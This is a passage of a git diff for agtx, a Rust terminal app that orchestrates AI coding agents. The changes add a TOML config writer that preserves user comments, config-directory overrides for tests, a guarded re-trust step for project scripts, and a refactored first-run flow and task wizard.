skip_worktree: Option<bool>,}+/// Serialise `value` over the TOML already at `path`, keeping everything agtx+/// did not put there.+///+/// The rule: *agtx rewrites the values of keys it knows, never deletes a key it+/// does not recognise, and removes a key it manages when that field becomes+/// unset.* `managed` names the keys that may be removed β the optional ones,+/// since a required key is always re-emitted. Everything else in the file+/// survives untouched, formatting and comments included.+///+/// Serialising the struct alone would not do: it emits a pristine document and+/// so drops every comment and unrecognised key the user wrote.+fn write_toml_preserving(path: &Path, value: &impl Serialize, managed: &ManagedKeys) -> Result<()> {+ if let Some(parent) = path.parent() {+ std::fs::create_dir_all(parent)?;+ }++ let mut rendered = toml_edit::ser::to_document(value).context("Failed to serialize config")?;+ // serde renders a nested struct as an *inline* table (`worktree = { .. }`).+ // Normalising to real tables keeps the user's `[worktree]` section on its+ // own lines with its comments, and keeps a fresh file in the documented+ // format.+ expand_inline_tables(rendered.as_table_mut());++ // A file that does not parse cannot be merged into, so start clean. The+ // alternative β refusing to save β leaves the user unable to fix it from+ // inside agtx.+ let mut doc = std::fs::read_to_string(path)+ .ok()+ .and_then(|text| text.parse::<toml_edit::DocumentMut>().ok())+ .unwrap_or_default();++ merge_table(doc.as_table_mut(), rendered.as_table(), managed);+ std::fs::write(path, doc.to_string())?;+ Ok(())+}++/// Remove `key`, moving any comments above it onto the key that follows.+///+/// A comment belongs to the *next* key's decor, so removing the first key in a+/// file would take the file's header comment with it. Erring toward keeping the+/// user's text leaves a comment that really was about the removed key slightly+/// orphaned, which is visible and fixable where deletion is not.+///+/// A comment above the *last* key in a table has nothing to move onto and is+/// dropped.+fn remove_key_keeping_comments(table: &mut toml_edit::Table, key: &str) {+ if !table.contains_key(key) {+ return;+ }+ let prefix = table+ .key(key)+ .and_then(|k| k.leaf_decor().prefix())+ .and_then(|p| p.as_str())+ .unwrap_or_default()+ .to_string();++ let successor = table+ .iter()+ .map(|(k, _)| k.to_string())+ .skip_while(|k| k != key)+ .nth(1);++ table.remove(key);++ if !prefix.contains('#') {+ return;+ }+ if let Some(next) = successor {+ if let Some(mut next_key) = table.key_mut(&next) {+ let decor = next_key.leaf_decor_mut();+ let existing = decor.prefix().and_then(|p| p.as_str()).unwrap_or("");+ decor.set_prefix(format!("{prefix}{existing}"));+ }+ }+}++/// Turn every inline table into a `[section]`, recursively.+fn expand_inline_tables(table: &mut toml_edit::Table) {+ let inline_keys: Vec<String> = table+ .iter()+ .filter(|(_, item)| item.is_inline_table())+ .map(|(key, _)| key.to_string())+ .collect();+ for key in inline_keys {+ if let Some(item) = table.get_mut(&key) {+ let expanded = std::mem::replace(item, toml_edit::Item::None)+ .into_table()+ .unwrap_or_else(|original| {+ // Cannot happen for an inline table, but losing the value+ // would be worse than an odd-looking one.+ let mut fallback = toml_edit::Table::new();+ fallback.insert(&key, original);+ fallback+ });+ *item = toml_edit::Item::Table(expanded);+ }+ }+ for (_, item) in table.iter_mut() {+ if let Some(sub) = item.as_table_mut() {+ expand_inline_tables(sub);+ }+ }+}++/// The keys a writer is allowed to delete, per table. See+/// `write_toml_preserving`.+struct ManagedKeys {+ /// Deletable keys at the top level.+ root: &'static [&'static str],+ /// Deletable keys inside a named sub-table.+ nested: &'static [(&'static str, &'static [&'static str])],+}++impl ManagedKeys {+ fn for_table(&self, table: Option<&str>) -> &'static [&'static str] {+ match table {+ None => self.root,+ Some(name) => self+ .nested+ .iter()+ .find(|(t, _)| *t == name)+ .map(|(_, keys)| *keys)+ .unwrap_or(&[]),+ }+ }+}++fn merge_table(target: &mut toml_edit::Table, source: &toml_edit::Table, managed: &ManagedKeys) {+ merge_table_named(target, source, managed, None);+}++fn merge_table_named(+ target: &mut toml_edit::Table,+ source: &toml_edit::Table,+ managed: &ManagedKeys,+ name: Option<&str>,+) {+ for (key, item) in source.iter() {+ match (+ item.as_table(),+ target.get_mut(key).and_then(|i| i.as_table_mut()),+ ) {+ // Both sides are tables: recurse, so the sub-table's own comments+ // and layout survive too.+ (Some(sub_source), Some(sub_target)) => {+ merge_table_named(sub_target, sub_source, managed, Some(key));+ }+ _ => match target.get_mut(key) {+ // Replacing an existing value keeps the decor around it, which+ // is where a trailing `# comment` on that line lives.+ Some(existing) => {+ let decor = existing.as_value().map(|v| v.decor().clone());+ *existing = item.clone();+ if let (Some(decor), Some(value)) = (decor, existing.as_value_mut()) {+ *value.decor_mut() = decor;+ }+ }+ // An empty table is nothing but a header. Writing one into a+ // file that had no `[agents]` only appends noise β and appends+ // it *after* whatever sections the user wrote.+ None if item.as_table().is_some_and(|t| t.is_empty()) => {}+ None => {+ target.insert(key, item.clone());+ }+ },+ }+ }++ // An optional field the user cleared has to actually leave the file.+ for key in managed.for_table(name) {+ if !source.contains_key(key) {+ remove_key_keeping_comments(target, key);+ }+ }++ // Recurse into managed sub-tables the serialization omitted entirely, so a+ // cleared `[agents]` still drops its keys.+ for (table_name, _) in managed.nested {+ if source.contains_key(table_name) {+ continue;+ }+ if let Some(sub) = target.get_mut(table_name).and_then(|i| i.as_table_mut()) {+ for key in managed.for_table(Some(table_name)) {+ remove_key_keeping_comments(sub, key);+ }+ }+ }+}++/// Optional keys on `GlobalConfig`. Everything else it writes is required, so+/// it is always re-emitted and can never need deleting.+const GLOBAL_MANAGED: ManagedKeys = ManagedKeys {+ root: &[],+ nested: &[("agents", &["research", "planning", "running", "review"])],+};++/// `ProjectConfig` is optional all the way down: every field can be cleared.+const PROJECT_MANAGED: ManagedKeys = ManagedKeys {+ root: &[+ // `agents` is itself optional here, so clearing it must drop the whole+ // `[agents]` section rather than leaving an empty header behind.+ "agents",+ "default_agent",+ "base_branch",+ "github_url",+ "worktree_dir",+ "copy_files",+ "init_script",+ "cleanup_script",+ "workflow_plugin",+ "branch_prefix",+ "skip_worktree",+ ],+ nested: &[("agents", &["research", "planning", "running", "review"])],+};+impl GlobalConfig {/// Load global config from default locationpub fn load() -> Result<Self> {@@ -298,23 +514,24 @@ impl GlobalConfig {}}- /// Save global config to default location+ /// Save global config to its default location, keeping the user's comments+ /// and any keys agtx does not recognise. See `write_toml_preserving`.pub fn save(&self) -> Result<()> {- let config_path = Self::config_path()?;-- if let Some(parent) = config_path.parent() {- std::fs::create_dir_all(parent)?;- }-- let content = toml::to_string_pretty(self)?;- std::fs::write(&config_path, content)?;-- Ok(())+ write_toml_preserving(&Self::config_path()?, self, &GLOBAL_MANAGED)}- /// Get the path to the global config file- /// Always uses ~/.config/agtx/ on all platforms+ /// Get the path to the global config file.+ ///+ /// Always `~/.config/agtx/` on every platform β see the config-path split+ /// note in CLAUDE.md. Honours `AGTX_CONFIG_DIR` like `TrustStore::path`, so+ /// a test exercising the writer cannot overwrite the real user's+ /// `config.toml`.pub fn config_path() -> Result<PathBuf> {+ if let Ok(dir) = std::env::var("AGTX_CONFIG_DIR") {+ if !dir.is_empty() {+ return Ok(PathBuf::from(dir).join("config.toml"));+ }+ }let home = std::env::var("HOME").context("Could not determine home directory")?;Ok(PathBuf::from(home).join(".config")@@ -353,18 +570,15 @@ impl ProjectConfig {}}- /// Save project config+ /// Save project config, keeping the user's comments and any keys agtx does+ /// not recognise. See `write_toml_preserving`.+ ///+ /// Note this invalidates the project's trust hash β see+ /// `TrustStore::retrust_after_agtx_write`, which every in-agtx caller of+ /// this must go through.pub fn save(&self, project_path: &Path) -> Result<()> {let config_path = project_path.join(".agtx").join("config.toml");-- if let Some(parent) = config_path.parent() {- std::fs::create_dir_all(parent)?;- }-- let content = toml::to_string_pretty(self)?;- std::fs::write(&config_path, content)?;-- Ok(())+ write_toml_preserving(&config_path, self, &PROJECT_MANAGED)}}@@ -740,7 +954,18 @@ impl TrustStore {Ok(())}+ /// Where `trusted_projects.toml` lives.+ ///+ /// Honours `AGTX_CONFIG_DIR` like `Database::data_root` honours+ /// `AGTX_DATA_DIR`: `App::new` reads this store and several paths write it,+ /// so without a redirect the test suite would append temp-dir entries to+ /// the real user's file.fn path() -> Result<PathBuf> {+ if let Ok(dir) = std::env::var("AGTX_CONFIG_DIR") {+ if !dir.is_empty() {+ return Ok(PathBuf::from(dir).join("trusted_projects.toml"));+ }+ }let dirs = directories::ProjectDirs::from("", "", "agtx").context("Could not determine config directory")?;Ok(dirs.config_dir().join("trusted_projects.toml"))@@ -780,4 +1005,104 @@ impl TrustStore {}Ok(())}++ /// Re-record trust after **agtx itself** rewrote `.agtx/config.toml`.+ ///+ /// Trust is a hash of that file, so every write agtx makes on the user's+ /// behalf invalidates it: the project would show the untrusted banner on+ /// the next launch and silently lose its `init_script`, `cleanup_script`+ /// and `copy_files` β over a change the user made in agtx's own UI, to a+ /// field (`workflow_plugin`) that is not one of the dangerous three.+ ///+ /// `was_trusted` is the state read *before* the write, and it is the whole+ /// safety of this: a project the user has never approved must not become+ /// trusted just because agtx touched its config, or an `init_script` they+ /// never vouched for starts running on the next worktree. This restores a+ /// prior decision; it never makes one.+ pub fn retrust_after_agtx_write(project_path: &Path, was_trusted: bool) -> Result<()> {+ if !was_trusted {+ return Ok(());+ }+ let mut store = Self::load()?;+ store.trust_project(project_path)+ }+}++#[cfg(test)]+mod managed_keys_tests {+ use super::*;++ /// The managed-key lists say what a save may *delete*. A field missing from+ /// them survives being cleared: the value goes on living in the file after+ /// the user removed it.+ ///+ /// Both literals below are exhaustive on purpose, so adding a field to the+ /// struct fails to compile here until someone has looked at this list.+ #[test]+ fn project_managed_keys_covers_every_optional_field() {+ let config = ProjectConfig {+ default_agent: Some("claude".into()),+ agents: Some(PhaseAgentsConfig {+ research: Some("claude".into()),+ planning: Some("claude".into()),+ running: Some("codex".into()),+ review: Some("claude".into()),+ }),+ base_branch: Some("main".into()),+ github_url: Some("https://example.invalid".into()),+ worktree_dir: Some(".agtx/worktrees".into()),+ copy_files: Some(".env".into()),+ init_script: Some("true".into()),+ cleanup_script: Some("true".into()),+ workflow_plugin: Some("gsd".into()),+ branch_prefix: Some("task".into()),+ skip_worktree: Some(false),+ };+ let mut doc = toml_edit::ser::to_document(&config).unwrap();+ // The writer expands inline tables before merging, so the guard has to+ // look at the same shape it will.+ expand_inline_tables(doc.as_table_mut());+ for (key, item) in doc.as_table().iter() {+ if item.is_table() {+ // Sub-tables need both: `nested` so their own keys can be+ // cleared, and `root` when the whole section is optional.+ assert!(+ PROJECT_MANAGED.nested.iter().any(|(t, _)| *t == key),+ "sub-table `{key}` is not in PROJECT_MANAGED.nested"+ );+ }+ assert!(+ PROJECT_MANAGED.root.contains(&key),+ "`{key}` can be cleared but PROJECT_MANAGED would not remove it"+ );+ }++ let agents = doc["agents"].as_table().unwrap();+ for (key, _) in agents.iter() {+ assert!(+ PROJECT_MANAGED.for_table(Some("agents")).contains(&key),+ "`agents.{key}` can be cleared but would not be removed"+ );+ }+ }++ /// `GlobalConfig`'s only optional fields are the four phase agents; every+ /// other key is required and therefore always re-emitted.+ #[test]+ fn global_managed_keys_covers_the_phase_agents() {+ let agents = PhaseAgentsConfig {+ research: Some("claude".into()),+ planning: Some("claude".into()),+ running: Some("codex".into()),+ review: Some("claude".into()),+ };+ let mut doc = toml_edit::ser::to_document(&agents).unwrap();+ expand_inline_tables(doc.as_table_mut());+ for (key, _) in doc.as_table().iter() {+ assert!(+ GLOBAL_MANAGED.for_table(Some("agents")).contains(&key),+ "`agents.{key}` can be cleared but would not be removed"+ );+ }+ }}diff --git a/src/lib.rs b/src/lib.rsindex cb71812..f71dd63 100644--- a/src/lib.rs+++ b/src/lib.rs@@ -23,4 +23,8 @@ pub struct FeatureFlags {pub experimental: bool,/// When true, init_script fields in project and plugin configs are not executed.pub no_init_scripts: bool,+ /// This is the user's first launch: no config file existed and nothing was+ /// migrated. The TUI opens the config editor on the default-agent field+ /// instead of running a separate first-run menu of its own.+ pub first_run: bool,}diff --git a/src/main.rs b/src/main.rsindex 5bbb5d1..aa144ba 100644--- a/src/main.rs+++ b/src/main.rs@@ -4,13 +4,6 @@ use agtx::{git, tui, AppMode, FeatureFlags,};use anyhow::{Context, Result};-use crossterm::{- cursor,- event::{self, Event, KeyCode},- style::{self, Stylize},- terminal, ExecutableCommand,-};-use std::io::{self, Write};use std::path::PathBuf;#[tokio::main]@@ -106,9 +99,10 @@ async fn main() -> Result<()> {}};- let flags = FeatureFlags {+ let mut flags = FeatureFlags {experimental,no_init_scripts,+ first_run: false,};// First-run: determine action based on config/data state@@ -129,13 +123,16 @@ async fn main() -> Result<()> {GlobalConfig::default().save()?;}config::FirstRunAction::NewUserPrompt => {- let available = agent::detect_available_agents();- if !available.is_empty() {- let selected = prompt_agent_selection(&available)?;- let mut cfg = GlobalConfig::default();- cfg.default_agent = selected.name.clone();- cfg.save()?;+ // Write the defaults so a config file always exists after a first+ // launch, then let the TUI ask which agent to use: the config editor+ // already *is* that question, plus every other one, and answering it+ // there keeps first run looking like the rest of the app.+ let mut cfg = GlobalConfig::default();+ if let Some(first) = agent::detect_available_agents().first() {+ cfg.default_agent = first.name.clone();}+ cfg.save()?;+ flags.first_run = true;}}@@ -169,114 +166,6 @@ fn migrate_old_config(new_path: &std::path::Path) -> bool {false}-fn prompt_agent_selection(agents: &[agent::Agent]) -> Result<&agent::Agent> {- let mut stdout = io::stdout();- let mut selected: usize = 0;-- // Enter raw mode for arrow key handling- terminal::enable_raw_mode()?;- stdout.execute(cursor::Hide)?;-- // Print ASCII art banner- let gold = style::Color::Rgb {- r: 234,- g: 212,- b: 154,- }; // #ead49a- let banner: &[(&str, &str)] = &[- (" ββββββ βββββββββββββββββββ βββ", ""),- ("βββββββββββββββββββββββββββββββββ", ""),- (- "βββββββββββ ββββ βββ ββββββ ",- " Autonomous multi-session spec-driven",- ),- (- "βββββββββββ βββ βββ ββββββ ",- " AI coding orchestration in the terminal",- ),- ("βββ ββββββββββββ βββ ββββ βββ", ""),- ("βββ βββ βββββββ βββ βββ βββ", ""),- ];- stdout.execute(style::Print("\r\n"))?;- for (art, tagline) in banner {- stdout.execute(style::PrintStyledContent(- style::style(format!(" {}", art)).with(gold),- ))?;- if !tagline.is_empty() {- stdout.execute(style::PrintStyledContent((*tagline).dark_grey()))?;- }- stdout.execute(style::Print("\r\n"))?;- }- stdout.execute(style::Print("\r\n"))?;- stdout.execute(style::Print(" Select your default coding agent "))?;- stdout.execute(style::PrintStyledContent(- "(can be changed later via config)\r\n\r\n".dark_grey(),- ))?;-- // Draw the list- let draw = |stdout: &mut io::Stdout, selected: usize| -> Result<()> {- for (i, a) in agents.iter().enumerate() {- if i == selected {- stdout.execute(style::PrintStyledContent(" > ".cyan()))?;- stdout.execute(style::PrintStyledContent(a.name.as_str().cyan().bold()))?;- let desc = format!(" - {}", a.description);- stdout.execute(style::PrintStyledContent(desc.as_str().dark_grey()))?;- } else {- stdout.execute(style::Print(" "))?;- stdout.execute(style::Print(&a.name))?;- let desc = format!(" - {}", a.description);- stdout.execute(style::PrintStyledContent(desc.as_str().dark_grey()))?;- }- stdout.execute(style::Print("\r\n"))?;- }- stdout.execute(style::Print("\r\n"))?;- stdout.execute(style::PrintStyledContent("\n".dark_grey()))?;- stdout.flush()?;- Ok(())- };-- draw(&mut stdout, selected)?;-- let result = loop {- if let Event::Key(key) = event::read()? {- match key.code {- KeyCode::Up | KeyCode::Char('k') => {- if selected > 0 {- selected -= 1;- }- }- KeyCode::Down | KeyCode::Char('j') => {- if selected < agents.len() - 1 {- selected += 1;- }- }- KeyCode::Enter => break Ok(selected),- KeyCode::Esc | KeyCode::Char('q') => {- break Err(anyhow::anyhow!("Selection cancelled"));- }- KeyCode::Char('c') if key.modifiers.contains(event::KeyModifiers::CONTROL) => {- break Err(anyhow::anyhow!("Selection cancelled"));- }- _ => continue,- }-- // Move cursor back up to redraw- let lines_to_move_up = agents.len() + 2; // agents + blank + hint- stdout.execute(cursor::MoveUp(lines_to_move_up as u16))?;- stdout.execute(cursor::MoveToColumn(0))?;- draw(&mut stdout, selected)?;- }- };-- // Restore terminal- stdout.execute(cursor::Show)?;- terminal::disable_raw_mode()?;-- let idx = result?;- println!("\n Selected: {}\n", agents[idx].name);- Ok(&agents[idx])-}-/// `agtx update [--check]`////// The dedicated command the header notice points at. `--check` only reports,diff --git a/src/tmux/input.rs b/src/tmux/input.rsindex 3f82743..65f8427 100644--- a/src/tmux/input.rs+++ b/src/tmux/input.rs@@ -183,7 +183,7 @@ pub trait PaneInputSink: Send + Sync {/// `None` means "not available here" β no control connection, a full queue,/// a wedged broker β and every caller must have a subprocess capture to fall/// back to. It is deliberately not an error type: a missed capture costs one- /// frame at the old speed, which is not worth a code path of its own.+ /// frame at the fallback's speed, which is not worth a code path of its own.fn capture(&self, _target: &str, _spec: CaptureSpec) -> Option<PaneSnapshot> {None}diff --git a/src/tmux/input_tests.rs b/src/tmux/input_tests.rsindex 3d5efa6..3f7a51e 100644--- a/src/tmux/input_tests.rs+++ b/src/tmux/input_tests.rs@@ -793,7 +793,7 @@ fn changing_project_repoints_the_next_connection() {// alone β it still delivers, because every target is `session:window`// (`pane_target`) and is therefore resolved server-wide rather than inside// the attached session. What the switch does change is where a *reconnect*- // attaches, since the old project's session may be killed.+ // attaches, since the previous project's session may be killed.let (tx, _rx) = sync_channel(2);let sink = BrokerSink {tx,diff --git a/src/tmux/operations.rs b/src/tmux/operations.rsindex 846361b..b3fab8c 100644--- a/src/tmux/operations.rs+++ b/src/tmux/operations.rs@@ -564,11 +564,11 @@ mod tests {/// The orchestrator command is the other thing `create_window` wraps, and it/// carries a single-quoted JSON blob for `claude mcp add-json`.///- /// It used to pre-escape its own wrapping quotes because it was interpolated- /// raw. Now that `single_quote` quotes the whole command, that pre-escape- /// double-escapes: the pane dies on an unterminated quote before `add-json`- /// runs, silently, because the window is created either way. Nothing else- /// covers this path β the TUI tests mock the command builder.+ /// It must not pre-escape its own wrapping quotes: `single_quote` already+ /// quotes the whole command, so a pre-escape double-escapes and the pane+ /// dies on an unterminated quote before `add-json` runs β silently, because+ /// the window is created either way. Nothing else covers this path; the TUI+ /// tests mock the command builder.#[cfg(unix)]#[test]fn the_orchestrator_command_reaches_claude_with_its_json_intact() {diff --git a/src/tui/app.rs b/src/tui/app.rsindex 2e03d9c..2a867d3 100644--- a/src/tui/app.rs+++ b/src/tui/app.rs@@ -29,9 +29,12 @@ use crate::tmux::{use crate::AppMode;use super::board::BoardState;-use super::input::InputMode;+use super::config_editor::{ConfigEditor, EditorAction, FieldKind};+use super::help;use super::shell_popup::{self, ShellPopup};+use super::text_input::TextInput;use super::theme::TuiStyles;+use super::wizard::{PickOption, WizardState, WizardStep};/// Helper to convert hex color string to ratatui Colorfn hex_to_color(hex: &str) -> Color {@@ -42,49 +45,49 @@ fn hex_to_color(hex: &str) -> Color {/// Build footer help text based on current UI statefn build_footer_text(- input_mode: InputMode,+ wizard_step: Option<WizardStep>,sidebar_focused: bool,selected_column: usize,has_cyclic_plugin: bool,fullscreen_on_enter: bool,) -> String {- match input_mode {- InputMode::Normal => {+ // Only the column-specific actions plus the two universal ones; the `?`+ // overlay carries the full list. One line has to survive a narrow terminal,+ // and a truncated footer silently hides whatever comes last.+ match wizard_step {+ None => {if sidebar_focused {- "[j/k] navigate [Enter] open [l] board Β· [e] hide sidebar [q] quit".to_string()+ "[j/k] navigate [Enter] board Β· [e] hide [?] help [q] quit".to_string()} else {+ let fullscreen = if fullscreen_on_enter {+ ""+ } else {+ " [C-f] fullscreen"+ };match selected_column {- 0 => "[o] new [/] search Β· [Enter] open [d] diff [D] deps Β· [m] plan [M] run [R] research Β· [x] delete [e] sidebar [q] quit".to_string(),- 1 => if fullscreen_on_enter {- "[o] new [/] search Β· [Enter] open [d] diff Β· [m] run Β· [x] delete [e] sidebar [q] quit".to_string()- } else {- "[o] new [/] search Β· [Enter] open [C-f] fullscreen [d] diff Β· [m] run Β· [x] delete [e] sidebar [q] quit".to_string()- },- 2 => if fullscreen_on_enter {- "[o] new [/] search Β· [Enter] open [d] diff Β· [r] move back [m] move Β· [x] delete [e] sidebar [q] quit".to_string()- } else {- "[o] new [/] search Β· [Enter] open [C-f] fullscreen [d] diff Β· [r] move back [m] move Β· [x] delete [e] sidebar [q] quit".to_string()- },- 3 if has_cyclic_plugin => if fullscreen_on_enter {- "[o] new [/] search Β· [Enter] open [d] diff Β· [r] resume [p] next phase [m] done Β· [x] delete [e] sidebar [q] quit".to_string()- } else {- "[o] new [/] search Β· [Enter] open [C-f] fullscreen [d] diff Β· [r] resume [p] next phase [m] done Β· [x] delete [e] sidebar [q] quit".to_string()- },- 3 => if fullscreen_on_enter {- "[o] new [/] search Β· [Enter] open [d] diff Β· [r] move back [m] move Β· [x] delete [e] sidebar [q] quit".to_string()- } else {- "[o] new [/] search Β· [Enter] open [C-f] fullscreen [d] diff Β· [r] move back [m] move Β· [x] delete [e] sidebar [q] quit".to_string()- },- _ => "[o] new [/] search Β· [Enter] open Β· [x] delete [e] sidebar [q] quit".to_string(),+ 0 => "[o] new [Enter] edit [d] diff Β· [m] plan [M] run [R] research Β· [?] help [q] quit".to_string(),+ 1 => format!("[o] new [Enter] open{fullscreen} [d] diff Β· [m] run Β· [?] help [q] quit"),+ 2 => format!("[o] new [Enter] open{fullscreen} [d] diff Β· [r] back [m] move Β· [?] help [q] quit"),+ 3 if has_cyclic_plugin => format!(+ "[o] new [Enter] open{fullscreen} Β· [r] resume [p] next phase [m] done Β· [?] help [q] quit"+ ),+ 3 => format!("[o] new [Enter] open{fullscreen} [d] diff Β· [r] back [m] move Β· [?] help [q] quit"),+ _ => "[o] new [Enter] open [x] delete Β· [?] help [q] quit".to_string(),}}}- InputMode::InputTitle => " Enter task title... [Esc] cancel [Enter] next ".to_string(),- InputMode::SelectPlugin => {- " [j/k] select plugin [Tab] cycle [Enter] next [Esc] cancel ".to_string()+ // Every step advertises how to leave it in both directions. `Esc` is+ // the back key now, and only cancels from the first step β which is+ // why the first step says "cancel" and the others say "back".+ Some(WizardStep::Title) => {+ " Enter task title... [Enter] next [C-s] save [Esc] cancel ".to_string()+ }+ Some(WizardStep::Agent) | Some(WizardStep::Plugin) => {+ " [j/k] select [/] filter [Enter] next [S-Tab] back [C-s] save [Esc] cancel "+ .to_string()}- InputMode::InputDescription => {- " [#] files [/] skills [!] tasks [Esc] cancel [\\+Enter] newline [Enter] save "+ Some(WizardStep::Prompt) => {+ " [#] files [/] skills [!] tasks Β· [\\+Enter] newline [S-Tab] back [Enter] save [Esc] cancel ".to_string()}}@@ -277,6 +280,20 @@ impl ratatui::backend::Backend for AppBackend {}/// Shell popup dimensions - used for both rendering and tmux window sizing+/// Horizontal breathing room inside the task wizard, in cells per side.+///+/// Without it a wrapped prompt line starts hard against the left border and+/// every line ends hard against the right one. The literals below therefore+/// carry no leading spaces of their own β the padding is the only indent, so+/// wrapped continuation rows line up with the row they came from.+const WIZARD_PADDING: u16 = 2;++/// Longest task title the wizard accepts.+///+/// Not a database limit β the board draws a title on one card line, and a title+/// long enough to be truncated everywhere it appears is not a useful name.+const MAX_TASK_TITLE_CHARS: usize = 120;+const SHELL_POPUP_WIDTH: u16 = 128; // Total width including bordersconst SHELL_POPUP_CONTENT_WIDTH: u16 = 126; // Content width (SHELL_POPUP_WIDTH - 2 for borders)const SHELL_POPUP_HEIGHT_PERCENT: u16 = 75; // Percentage of terminal height@@ -287,15 +304,23 @@ struct AppState {flags: crate::FeatureFlags,should_quit: bool,board: BoardState,- input_mode: InputMode,- input_buffer: String,- input_cursor: usize, // Cursor position in input_buffer- // For task creation/editing wizard- pending_task_title: String,- editing_task_id: Option<String>, // Some(id) when editing, None when creating- wizard_selected_plugin: usize,- wizard_plugin_options: Vec<PluginOption>,- wizard_referenced_task_ids: HashSet<String>,+ /// The task creation / edit wizard, open or not. `Some` *is* the input+ /// mode: there is no second flag that could disagree with it.+ wizard: Option<WizardState>,+ /// The config editor, open or not. See `tui::config_editor`.+ config_editor: Option<ConfigEditor>,+ /// The `?` overlay's scroll offset, when it is open. See `tui::help`.+ help_scroll: Option<usize>,+ /// The furthest the overlay can actually scroll, recorded by the renderer+ /// because only it knows how many rows fit.+ ///+ /// Without it the handler clamps to the *table* length instead, so `C-g`+ /// parks the offset far past the last screenful and the next `C-u` moves+ /// nothing β which reads exactly like a broken scroll.+ help_max_scroll: Cell<usize>,+ /// The agent the open wizard's plugin list was filtered by, so a change on+ /// the agent step can rebuild it and nothing else has to.+ plugins_filtered_for: Option<String>,db: Option<Database>,#[allow(dead_code)]global_db: Database,@@ -330,8 +355,6 @@ struct AppState {skill_search: Option<SkillSearchState>,// Task reference search dropdowntask_ref_search: Option<TaskRefSearchState>,- // References inserted via file search, skill search, or task search (for highlighting)- highlighted_references: HashSet<String>,// Task search popuptask_search: Option<TaskSearchState>,// PR creation confirmation popup@@ -573,7 +596,7 @@ struct FileSearchState {pattern: String,matches: Vec<String>,selected: usize,- start_pos: usize, // Position in input_buffer where trigger was typed+ start_pos: usize, // Position in the input buffer where trigger was typedtrigger_char: char, // The character that triggered the search (# or @)}@@ -603,6 +626,55 @@ struct TaskRefSearchState {start_pos: usize, // cursor position where `!` was typed}+/// The list behaviour shared by the three prompt dropdowns.+///+/// All of them are a match list with a cursor, and all of them are driven by+/// the same four keys β the only thing that differs is what a match *is*.+trait SearchList {+ fn match_count(&self) -> usize;+ fn selected_index(&mut self) -> &mut usize;++ fn select_prev(&mut self) {+ let selected = self.selected_index();+ *selected = selected.saturating_sub(1);+ }++ fn select_next(&mut self) {+ let last = self.match_count().saturating_sub(1);+ let selected = self.selected_index();+ if *selected < last {+ *selected += 1;+ }+ }+}++impl SearchList for FileSearchState {+ fn match_count(&self) -> usize {+ self.matches.len()+ }+ fn selected_index(&mut self) -> &mut usize {+ &mut self.selected+ }+}++impl SearchList for SkillSearchState {+ fn match_count(&self) -> usize {+ self.matches.len()+ }+ fn selected_index(&mut self) -> &mut usize {+ &mut self.selected+ }+}++impl SearchList for TaskRefSearchState {+ fn match_count(&self) -> usize {+ self.matches.len()+ }+ fn selected_index(&mut self) -> &mut usize {+ &mut self.selected+ }+}+/// State for delete confirmation popup#[derive(Debug, Clone)]struct DeleteConfirmPopup {@@ -614,6 +686,12 @@ struct DeleteConfirmPopup {#[derive(Debug, Clone)]struct TrustConfirmPopup {project_path: std::path::PathBuf,+ /// The suppressed fields, verbatim.+ ///+ /// `App::new` strips these before anything can run them, so the popup+ /// re-reads the file to show them: consenting to a script you cannot see is+ /// not consent. Each entry is (field name, value).+ dangerous: Vec<(&'static str, String)>,}/// State for asking if user wants to create PR when moving to Review@@ -627,7 +705,7 @@ struct ReviewConfirmPopup {#[derive(Debug, Clone)]struct PluginSelectPopup {selected: usize,- options: Vec<PluginOption>,+ options: Vec<PickOption>,}/// The `[u]` popup: what is available, and one key to install it.@@ -641,12 +719,12 @@ struct UpdatePopup {installing: bool,}-#[derive(Debug, Clone)]-struct PluginOption {- name: String, // "" for none, "gsd", "spec-kit", etc.- label: String, // Display name- description: String, // One-line description- active: bool, // Currently active for this project+impl AppState {+ /// Which wizard step is open, if any. The one place anything outside the+ /// wizard asks about input mode.+ fn wizard_step(&self) -> Option<WizardStep> {+ self.wizard.as_ref().map(|w| w.step())+ }}pub struct App {@@ -678,6 +756,12 @@ impl App {enable_raw_mode()?;let mut stdout = io::stdout();execute!(stdout, EnterAlternateScreen, EnableBracketedPaste)?;+ // No Kitty-keyboard-protocol push here, deliberately. It was added so+ // `Shift+Enter` could be told apart from `Enter` β both are a bare CR+ // otherwise β but `supports_keyboard_enhancement()` **blocks for up to+ // two seconds** on any terminal that does not answer the query, which+ // is a real cost on every launch for a chord that then still did not+ // arrive through tmux. `\`+Enter and `C-j` need no negotiation.let backend = CrosstermBackend::new(stdout);let terminal = ratatui::Terminal::new(AppBackend::Crossterm(backend))?;@@ -780,14 +864,11 @@ impl App {flags,should_quit: false,board: BoardState::new(),- input_mode: InputMode::Normal,- input_buffer: String::new(),- input_cursor: 0,- pending_task_title: String::new(),- editing_task_id: None,- wizard_selected_plugin: 0,- wizard_plugin_options: vec![],- wizard_referenced_task_ids: HashSet::new(),+ wizard: None,+ config_editor: None,+ help_scroll: None,+ help_max_scroll: Cell::new(0),+ plugins_filtered_for: None,db,global_db,config,@@ -809,7 +890,6 @@ impl App {file_search: None,skill_search: None,task_ref_search: None,- highlighted_references: HashSet::new(),task_search: None,pr_confirm_popup: None,review_to_running_task_id: None,@@ -949,11 +1029,17 @@ impl App {});}+ app.open_first_run_editor();+// Display trust confirmation popup if project config was suppressedif trust_warning.is_some() {if let Some(ref path) = app.state.project_path {+ // Re-read from disk: the merged config has already had these+ // stripped, which is the whole reason the popup exists.+ let on_disk = ProjectConfig::load(path).unwrap_or_default();app.state.trust_confirm_popup = Some(TrustConfirmPopup {project_path: path.clone(),+ dangerous: dangerous_fields(&on_disk),});}}@@ -970,6 +1056,25 @@ impl App {git_ops: Arc<dyn GitOperations>,git_provider_ops: Arc<dyn GitProviderOperations>,agent_registry: Arc<dyn agent::AgentRegistry>,+ ) -> Result<Self> {+ Self::new_for_test_with_flags(+ project_path,+ tmux_ops,+ git_ops,+ git_provider_ops,+ agent_registry,+ crate::FeatureFlags::default(),+ )+ }++ #[cfg(feature = "test-mocks")]+ pub fn new_for_test_with_flags(+ project_path: Option<PathBuf>,+ tmux_ops: Arc<dyn TmuxOperations>,+ git_ops: Arc<dyn GitOperations>,+ git_provider_ops: Arc<dyn GitProviderOperations>,+ agent_registry: Arc<dyn agent::AgentRegistry>,+ flags: crate::FeatureFlags,) -> Result<Self> {let backend = ratatui::backend::TestBackend::new(80, 24);let terminal = ratatui::Terminal::new(AppBackend::Test(backend))?;@@ -999,21 +1104,18 @@ impl App {let config = MergedConfig::merge(&GlobalConfig::default(), &ProjectConfig::default());- Ok(Self {+ let mut app = Self {terminal,state: AppState {mode,- flags: 